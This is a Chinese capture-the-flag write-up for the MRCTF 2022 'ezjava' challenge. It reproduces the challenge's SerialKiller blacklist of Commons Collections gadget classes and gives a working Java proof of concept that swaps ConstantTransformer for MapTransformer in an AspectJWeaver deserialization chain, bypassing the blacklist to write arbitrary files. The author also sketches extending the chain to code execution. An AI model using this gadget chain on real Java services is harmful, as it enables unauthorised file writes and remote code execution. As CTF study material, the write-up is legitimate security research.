2022MRCTF-ezjava的一点小研究

  1. 1. 前言
  2. 2. 寻找替代品

前言

写这篇文章起因是mrctf,比赛那两天因为个人原因在摆烂没有看题。今天晚上去简单看了一下ezjava,spring还没有仔细去研究。

一看到题目我就有了自己的一个思路,因为设有过滤,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
<?xml version="1.0" encoding="UTF-8"?>
<!-- serialkiller.conf -->
<config>
<refresh>6000</refresh>
<mode>
<!-- set to 'false' for blocking mode -->
<profiling>false</profiling>
</mode>
<logging>
<enabled>false</enabled>
</logging>
<blacklist>
<!-- ysoserial's CommonsCollections1,3,5,6 payload -->
<regexp>org\.apache\.commons\.collections\.Transformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections\.functors\.InstantiateTransformer$</regexp>
<!-- ysoserial's CommonsCollections2,4 payload -->
<regexp>org\.apache\.commons\.collections4\.functors\.InvokerTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ChainedTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.ConstantTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.functors\.InstantiateTransformer$</regexp>
<regexp>org\.apache\.commons\.collections4\.comparators\.TransformingComparator$</regexp>
</blacklist>
<whitelist>
<regexp>.*</regexp>
</whitelist>
</config>

并且有AspectJWeaver 而且题目提醒jdk8u181又是springboot,不出网。想到三梦大师傅的一篇文章

https://threedr3am.github.io/2021/04/14/JDK8%E4%BB%BB%E6%84%8F%E6%96%87%E4%BB%B6%E5%86%99%E5%9C%BA%E6%99%AF%E4%B8%8B%E7%9A%84SpringBoot%20RCE/

想到利用AspectJWeaver写入任意文件再配合三梦师傅的trick进行rce,因为题目设有一个任意文件读取,所以想法是rce将flag写入/tmp文件夹下然后读取任意文件。

但主要问题是AspectJWeaver反序列化在yso里是要用到ConstantTransformer但题目又给ban了,所以想找个替代品,花了点时间简单的研究了一下。

寻找替代品

我找到的是MapTransformer

先放一下poc吧

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
public static void main(String[] args) throws Exception {
Class clazz = Class.forName("org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap");
Constructor declaredConstructor = clazz.getDeclaredConstructor(String.class,int.class);
declaredConstructor.setAccessible(true);
HashMap map = (HashMap)declaredConstructor.newInstance("/tmp/", 123);
HashMap map2 = new HashMap();
map2.put("2.txt","fmyyy".getBytes(StandardCharsets.UTF_8));
Class clazz1 = Class.forName("org.apache.commons.collections.functors.MapTransformer");
Constructor constructor = clazz1.getDeclaredConstructor(Map.class);
constructor.setAccessible(true);
MapTransformer emapTransformer = (MapTransformer) constructor.newInstance(map2);
Map outerMap = LazyMap.decorate(map,emapTransformer);
TiedMapEntry tiedMapEntry = new TiedMapEntry(outerMap,"2.txt");
HashSet hashSet = new LinkedHashSet(1);
hashSet.add(tiedMapEntry);
outerMap.remove("2.txt");
System.out.println(Base64.getEncoder().encodeToString(serialize(hashSet)));
}

其实跟原版就差在MapTransformer这里,原理也很简单。

众所周知ConstantTransformer的transform方法是传什么返回什么,但MapTransformer是根据key来获取value,所以这里新建一个map,put一个key跟文件名相同就行

1650897796149.png

成功获取内容

1650897913449.png

之后拿mrctf的ezjava本地打了一下

1650898020007.png

1650898072875.png

确实是绕过waf写进去了,感觉能替代的类还是很多的,之后我的思路是用三梦师傅的文章写class来rce,因为题目说是jdk8u181所以目录应该不难猜,不过看到大师傅们晚上发的wp直接bypass进行rce感觉自己还是菜。